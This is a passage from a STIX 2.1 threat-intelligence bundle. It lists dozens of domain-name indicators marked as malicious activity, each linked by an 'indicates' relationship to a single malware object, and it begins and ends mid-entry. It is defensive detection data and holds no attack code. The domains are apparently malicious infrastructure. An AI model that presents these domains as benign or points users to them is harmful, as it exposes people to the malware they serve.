"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f3003610-36d2-44d1-8fc4-ab1889c09b44", "created": "2024-01-26T21:28:21.702298Z", "modified": "2024-01-26T21:28:21.702298Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tengrinews.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.702298Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9b8c10ef-0c8d-4eb5-9954-7bc25bed8c95", "created": "2024-01-26T21:28:21.702678Z", "modified": "2024-01-26T21:28:21.702678Z", "relationship_type": "indicates", "source_ref": "indicator--f3003610-36d2-44d1-8fc4-ab1889c09b44", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6c24f7be-b2ec-4371-961e-c87323392c8b", "created": "2024-01-26T21:28:21.702775Z", "modified": "2024-01-26T21:28:21.702775Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='social-life.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.702775Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a60640f-19b2-4871-b840-b23235a5105f", "created": "2024-01-26T21:28:21.703156Z", "modified": "2024-01-26T21:28:21.703156Z", "relationship_type": "indicates", "source_ref": "indicator--6c24f7be-b2ec-4371-961e-c87323392c8b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--acbb3b35-57ed-4878-a9b8-4628849f166c", "created": "2024-01-26T21:28:21.703251Z", "modified": "2024-01-26T21:28:21.703251Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='portredirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.703251Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b7be80b7-895f-4f83-8f98-6192da0556f0", "created": "2024-01-26T21:28:21.703632Z", "modified": "2024-01-26T21:28:21.703632Z", "relationship_type": "indicates", "source_ref": "indicator--acbb3b35-57ed-4878-a9b8-4628849f166c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1619b620-8bf3-4bc3-bf81-72a2e25be3c9", "created": "2024-01-26T21:28:21.703729Z", "modified": "2024-01-26T21:28:21.703729Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='secured-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.703729Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5a520fa6-1c6f-4f82-bd73-b8d290b8fab8", "created": "2024-01-26T21:28:21.70411Z", "modified": "2024-01-26T21:28:21.70411Z", "relationship_type": "indicates", "source_ref": "indicator--1619b620-8bf3-4bc3-bf81-72a2e25be3c9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11c4bb5a-b368-40fa-b839-747a36f262c0", "created": "2024-01-26T21:28:21.704206Z", "modified": "2024-01-26T21:28:21.704206Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alawaeltech.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.704206Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d8e43bfa-6210-4e6c-8b34-ffdbe6f4b9b9", "created": "2024-01-26T21:28:21.704592Z", "modified": "2024-01-26T21:28:21.704592Z", "relationship_type": "indicates", "source_ref": "indicator--11c4bb5a-b368-40fa-b839-747a36f262c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c363a58-f4ba-4b21-a013-3bfb148ae9df", "created": "2024-01-26T21:28:21.70469Z", "modified": "2024-01-26T21:28:21.70469Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='heavy-flood.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.70469Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--193e6830-cc54-4090-80f8-e5b884e02b8f", "created": "2024-01-26T21:28:21.705072Z", "modified": "2024-01-26T21:28:21.705072Z", "relationship_type": "indicates", "source_ref": "indicator--4c363a58-f4ba-4b21-a013-3bfb148ae9df", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--72cd22c4-461d-4308-8353-b38412f730ee", "created": "2024-01-26T21:28:21.705169Z", "modified": "2024-01-26T21:28:21.705169Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ex-forexlive.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.705169Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9088184a-79cb-4bcd-b3ee-831503180bee", "created": "2024-01-26T21:28:21.705562Z", "modified": "2024-01-26T21:28:21.705562Z", "relationship_type": "indicates", "source_ref": "indicator--72cd22c4-461d-4308-8353-b38412f730ee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac38c83f-ad0b-4a8c-9071-1e4c2481d336", "created": "2024-01-26T21:28:21.705662Z", "modified": "2024-01-26T21:28:21.705662Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='promotionlove.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.705662Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c349524b-fa0a-4f0b-bc19-6d63e649b211", "created": "2024-01-26T21:28:21.706049Z", "modified": "2024-01-26T21:28:21.706049Z", "relationship_type": "indicates", "source_ref": "indicator--ac38c83f-ad0b-4a8c-9071-1e4c2481d336", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f7e83c5a-5ca3-4a8f-b871-c7946c7a36e7", "created": "2024-01-26T21:28:21.706148Z", "modified": "2024-01-26T21:28:21.706148Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='videosdownload.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.706148Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9c45d05e-746f-439e-b3fb-05706d20ef32", "created": "2024-01-26T21:28:21.706619Z", "modified": "2024-01-26T21:28:21.706619Z", "relationship_type": "indicates", "source_ref": "indicator--f7e83c5a-5ca3-4a8f-b871-c7946c7a36e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e06a635-52d8-4ca5-a85e-f6acad48ad40", "created": "2024-01-26T21:28:21.706719Z", "modified": "2024-01-26T21:28:21.706719Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='layoutfill.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.706719Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dfba7f2b-b362-44e0-a264-29e6c18735a6", "created": "2024-01-26T21:28:21.707105Z", "modified": "2024-01-26T21:28:21.707105Z", "relationship_type": "indicates", "source_ref": "indicator--0e06a635-52d8-4ca5-a85e-f6acad48ad40", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b5ab93ff-79dc-41cd-86b6-4fba07ab633c", "created": "2024-01-26T21:28:21.707203Z", "modified": "2024-01-26T21:28:21.707203Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webstrings.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.707203Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b07365cb-138f-4211-b4be-58079db4ba51", "created": "2024-01-26T21:28:21.707584Z", "modified": "2024-01-26T21:28:21.707584Z", "relationship_type": "indicates", "source_ref": "indicator--b5ab93ff-79dc-41cd-86b6-4fba07ab633c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eee75c0e-336e-4799-9abe-33c25a837cdf", "created": "2024-01-26T21:28:21.707686Z", "modified": "2024-01-26T21:28:21.707686Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mylogfrog.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.707686Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c5864aef-ab13-4ef5-a236-c04bfe3ea6ad", "created": "2024-01-26T21:28:21.708077Z", "modified": "2024-01-26T21:28:21.708077Z", "relationship_type": "indicates", "source_ref": "indicator--eee75c0e-336e-4799-9abe-33c25a837cdf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0f59824c-66fd-4725-ae9a-c846a0fb50bc", "created": "2024-01-26T21:28:21.708173Z", "modified": "2024-01-26T21:28:21.708173Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='social-exercise.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.708173Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8540405-6ef2-4d31-a09f-ec4c0729e99b", "created": "2024-01-26T21:28:21.708565Z", "modified": "2024-01-26T21:28:21.708565Z", "relationship_type": "indicates", "source_ref": "indicator--0f59824c-66fd-4725-ae9a-c846a0fb50bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0a600110-a713-4724-b4bb-01364759bec8", "created": "2024-01-26T21:28:21.708666Z", "modified": "2024-01-26T21:28:21.708666Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlinefreework.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.708666Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--574fbf3d-54cc-4c8b-99eb-5c2dc5751dce", "created": "2024-01-26T21:28:21.709055Z", "modified": "2024-01-26T21:28:21.709055Z", "relationship_type": "indicates", "source_ref": "indicator--0a600110-a713-4724-b4bb-01364759bec8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8565bb90-0cd9-475a-903e-3e200d6b8d86", "created": "2024-01-26T21:28:21.709153Z", "modified": "2024-01-26T21:28:21.709153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holdstory.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.709153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--80b0ed21-b20a-415f-be4e-6535014b3d44", "created": "2024-01-26T21:28:21.709533Z", "modified": "2024-01-26T21:28:21.709533Z", "relationship_type": "indicates", "source_ref": "indicator--8565bb90-0cd9-475a-903e-3e200d6b8d86", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98718476-8f9a-4456-b707-eaff20afc672", "created": "2024-01-26T21:28:21.70963Z", "modified": "2024-01-26T21:28:21.70963Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noti-global.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.70963Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9cf359bd-0ae2-4d60-994d-791a5a9d0e01", "created": "2024-01-26T21:28:21.710012Z", "modified": "2024-01-26T21:28:21.710012Z", "relationship_type": "indicates", "source_ref": "indicator--98718476-8f9a-4456-b707-eaff20afc672", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8c686ccb-702d-4637-bf7e-fc1398f7bb54", "created": "2024-01-26T21:28:21.710107Z", "modified": "2024-01-26T21:28:21.710107Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='suitcasesmellnice.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.710107Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--56e3ab48-fb90-4169-a50b-f6870f0583ad", "created": "2024-01-26T21:28:21.710493Z", "modified": "2024-01-26T21:28:21.710493Z", "relationship_type": "indicates", "source_ref": "indicator--8c686ccb-702d-4637-bf7e-fc1398f7bb54", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--08bc01e9-136c-4c0e-9cca-6a99e7076fd5", "created": "2024-01-26T21:28:21.710589Z", "modified": "2024-01-26T21:28:21.710589Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestheadphones4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.710589Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fe0605e3-de8e-43cd-8b4b-d5be33539e77", "created": "2024-01-26T21:28:21.711054Z", "modified": "2024-01-26T21:28:21.711054Z", "relationship_type": "indicates", "source_ref": "indicator--08bc01e9-136c-4c0e-9cca-6a99e7076fd5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9591d441-5db9-4d86-9351-d90ded5caa42", "created": "2024-01-26T21:28:21.711155Z", "modified": "2024-01-26T21:28:21.711155Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xchange4u.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.711155Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--91f898af-5f3e-4589-925d-32a56497530d", "created": "2024-01-26T21:28:21.711541Z", "modified": "2024-01-26T21:28:21.711541Z", "relationship_type": "indicates", "source_ref": "indicator--9591d441-5db9-4d86-9351-d90ded5caa42", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--570c33d9-9574-481d-902b-05b013361e66", "created": "2024-01-26T21:28:21.711643Z", "modified": "2024-01-26T21:28:21.711643Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fallround.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.711643Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a74bdc75-2db1-4e87-ad97-8ae75ccd7c70", "created": "2024-01-26T21:28:21.712027Z", "modified": "2024-01-26T21:28:21.712027Z", "relationship_type": "indicates", "source_ref": "indicator--570c33d9-9574-481d-902b-05b013361e66", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d91196e3-fa8f-47e7-9853-e8ccfb1b5b0b", "created": "2024-01-26T21:28:21.712125Z", "modified": "2024-01-26T21:28:21.712125Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobilebrowsing.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.712125Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--889eff87-31a1-452f-9da3-4c4c224069ba", "created": "2024-01-26T21:28:21.712513Z", "modified": "2024-01-26T21:28:21.712513Z", "relationship_type": "indicates", "source_ref": "indicator--d91196e3-fa8f-47e7-9853-e8ccfb1b5b0b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1b567b60-eb47-4c2e-9170-98253b0bdf57", "created": "2024-01-26T21:28:21.712613Z", "modified": "2024-01-26T21:28:21.712613Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobile-updates.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.712613Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a7de0f27-bda8-40f4-aebe-80912b90767d", "created": "2024-01-26T21:28:21.712998Z", "modified": "2024-01-26T21:28:21.712998Z", "relationship_type": "indicates", "source_ref": "indicator--1b567b60-eb47-4c2e-9170-98253b0bdf57", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5aaed44f-42ff-42ae-bf01-1f213399093c", "created": "2024-01-26T21:28:21.713094Z", "modified": "2024-01-26T21:28:21.713094Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='erty.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.713094Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c48f8b1-fc89-47f2-93fd-33282d541a52", "created": "2024-01-26T21:28:21.713469Z", "modified": "2024-01-26T21:28:21.713469Z", "relationship_type": "indicates", "source_ref": "indicator--5aaed44f-42ff-42ae-bf01-1f213399093c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c256ae57-ff8a-4f6f-8ae7-e33a5d141415", "created": "2024-01-26T21:28:21.713565Z", "modified": "2024-01-26T21:28:21.713565Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='starting-from0.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.713565Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--766a660e-ae22-4b15-89ce-3bf6c9b216ae", "created": "2024-01-26T21:28:21.713949Z", "modified": "2024-01-26T21:28:21.713949Z", "relationship_type": "indicates", "source_ref": "indicator--c256ae57-ff8a-4f6f-8ae7-e33a5d141415", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e0b2ce4-f1ed-4a65-ad2c-97e017b67b83", "created": "2024-01-26T21:28:21.714044Z", "modified": "2024-01-26T21:28:21.714044Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eurasianupdate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.714044Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bd8e8f8f-a4bb-47ca-a48a-7cbb95550a32", "created": "2024-01-26T21:28:21.71443Z", "modified": "2024-01-26T21:28:21.71443Z", "relationship_type": "indicates", "source_ref": "indicator--0e0b2ce4-f1ed-4a65-ad2c-97e017b67b83", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--81e34716-87be-49ea-bd99-7075c5abb10b", "created": "2024-01-26T21:28:21.714524Z", "modified": "2024-01-26T21:28:21.714524Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bargainservice.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.714524Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--194a8cd2-e385-4fa9-8c44-305ee02db87e", "created": "2024-01-26T21:28:21.714922Z", "modified": "2024-01-26T21:28:21.714922Z", "relationship_type": "indicates", "source_ref": "indicator--81e34716-87be-49ea-bd99-7075c5abb10b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7666599c-7778-4044-a242-813d03f23fe1", "created": "2024-01-26T21:28:21.715017Z", "modified": "2024-01-26T21:28:21.715017Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fashionpark.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.715017Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--96c83e95-fe82-4786-b0cf-e48ed0d14a60", "created": "2024-01-26T21:28:21.715477Z", "modified": "2024-01-26T21:28:21.715477Z", "relationship_type": "indicates", "source_ref": "indicator--7666599c-7778-4044-a242-813d03f23fe1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ebf1025c-cace-4835-9f62-b582e91c6aff", "created": "2024-01-26T21:28:21.715575Z", "modified": "2024-01-26T21:28:21.715575Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='russian4u.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.715575Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dea2fe73-e351-4559-a983-bc29bd2cfcb8", "created": "2024-01-26T21:28:21.715956Z", "modified": "2024-01-26T21:28:21.715956Z", "relationship_type": "indicates", "source_ref": "indicator--ebf1025c-cace-4835-9f62-b582e91c6aff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f34409b4-930c-49f0-9692-08651934decb", "created": "2024-01-26T21:28:21.716053Z", "modified": "2024-01-26T21:28:21.716053Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='preventsusing.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.716053Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--14e8331b-1188-4dc8-98e7-95c3da0b7627", "created": "2024-01-26T21:28:21.716436Z", "modified": "2024-01-26T21:28:21.716436Z", "relationship_type": "indicates", "source_ref": "indicator--f34409b4-930c-49f0-9692-08651934decb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d4e8aefb-1074-4e1a-931e-d30e12d53bd1", "created": "2024-01-26T21:28:21.716533Z", "modified": "2024-01-26T21:28:21.716533Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='skillsforest.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.716533Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--115bab4e-f10a-4ccd-b366-ca804f360928", "created": "2024-01-26T21:28:21.716913Z", "modified": "2024-01-26T21:28:21.716913Z", "relationship_type": "indicates", "source_ref": "indicator--d4e8aefb-1074-4e1a-931e-d30e12d53bd1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d46c39ac-b73a-457c-b725-3a8647e4e547", "created": "2024-01-26T21:28:21.717009Z", "modified": "2024-01-26T21:28:21.717009Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='documentpro.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.717009Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--093c3ea3-09d6-407e-b152-bfd94de51fdb", "created": "2024-01-26T21:28:21.717388Z", "modified": "2024-01-26T21:28:21.717388Z", "relationship_type": "indicates", "source_ref": "indicator--d46c39ac-b73a-457c-b725-3a8647e4e547", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6523043c-e366-4d6b-9a91-611e12e95dcb", "created": "2024-01-26T21:28:21.717484Z", "modified": "2024-01-26T21:28:21.717484Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='somuchrain.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.717484Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ef4c7406-f249-4f8b-b024-0306271ba9bb", "created": "2024-01-26T21:28:21.717871Z", "modified": "2024-01-26T21:28:21.717871Z", "relationship_type": "indicates", "source_ref": "indicator--6523043c-e366-4d6b-9a91-611e12e95dcb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a39e1c00-f27c-4645-be2c-34c15b54c17b", "created": "2024-01-26T21:28:21.717966Z", "modified": "2024-01-26T21:28:21.717966Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moregatesthere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.717966Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--425308d7-6833-4f87-bcbb-1f7a23e5524b", "created": "2024-01-26T21:28:21.718354Z", "modified": "2024-01-26T21:28:21.718354Z", "relationship_type": "indicates", "source_ref": "indicator--a39e1c00-f27c-4645-be2c-34c15b54c17b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a417969e-2678-4446-8083-781bd07eeeb4", "created": "2024-01-26T21:28:21.718452Z", "modified": "2024-01-26T21:28:21.718452Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='linking-page.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.718452Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7abc940-6a03-496a-ac45-97048d0fb515", "created": "2024-01-26T21:28:21.718835Z", "modified": "2024-01-26T21:28:21.718835Z", "relationship_type": "indicates", "source_ref": "indicator--a417969e-2678-4446-8083-781bd07eeeb4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4e31b72a-17b8-477e-9761-650745051db9", "created": "2024-01-26T21:28:21.71893Z", "modified": "2024-01-26T21:28:21.71893Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sunnydaylight.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.71893Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7688a675-d671-4acb-9710-999c13cab9be", "created": "2024-01-26T21:28:21.719319Z", "modified": "2024-01-26T21:28:21.719319Z", "relationship_type": "indicates", "source_ref": "indicator--4e31b72a-17b8-477e-9761-650745051db9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--995faea3-a9f5-4c17-a4dc-a231ca3999f9", "created": "2024-01-26T21:28:21.719415Z", "modified": "2024-01-26T21:28:21.719415Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coolbbqtools.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.719415Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8b846710-fbdd-40fd-b2f6-a5622a50d043", "created": "2024-01-26T21:28:21.71988Z", "modified": "2024-01-26T21:28:21.71988Z", "relationship_type": "indicates", "source_ref": "indicator--995faea3-a9f5-4c17-a4dc-a231ca3999f9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b90bea9a-5b27-4319-b867-561c6f17ea2a", "created": "2024-01-26T21:28:21.719979Z", "modified": "2024-01-26T21:28:21.719979Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='particularmechanic.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.719979Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--41864997-d11a-493e-8083-03c79c8cad50", "created": "2024-01-26T21:28:21.720376Z", "modified": "2024-01-26T21:28:21.720376Z", "relationship_type": "indicates", "source_ref": "indicator--b90bea9a-5b27-4319-b867-561c6f17ea2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b1ad3e24-ae0b-4d99-89de-f924fd3816c7", "created": "2024-01-26T21:28:21.720475Z", "modified": "2024-01-26T21:28:21.720475Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bubblesmoke.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.720475Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1f389522-d0a1-4f33-a416-be30ab42f161", "created": "2024-01-26T21:28:21.720856Z", "modified": "2024-01-26T21:28:21.720856Z", "relationship_type": "indicates", "source_ref": "indicator--b1ad3e24-ae0b-4d99-89de-f924fd3816c7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--90bde108-aa07-4122-9d00-7cae5c9f226d", "created": "2024-01-26T21:28:21.720954Z", "modified": "2024-01-26T21:28:21.720954Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bigseatsout.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.720954Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f1780634-34a4-439a-a5bb-3ea12748a035", "created": "2024-01-26T21:28:21.721336Z", "modified": "2024-01-26T21:28:21.721336Z", "relationship_type": "indicates", "source_ref": "indicator--90bde108-aa07-4122-9d00-7cae5c9f226d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--42d26747-e270-4c48-80c9-c27853208d77", "created": "2024-01-26T21:28:21.721437Z", "modified": 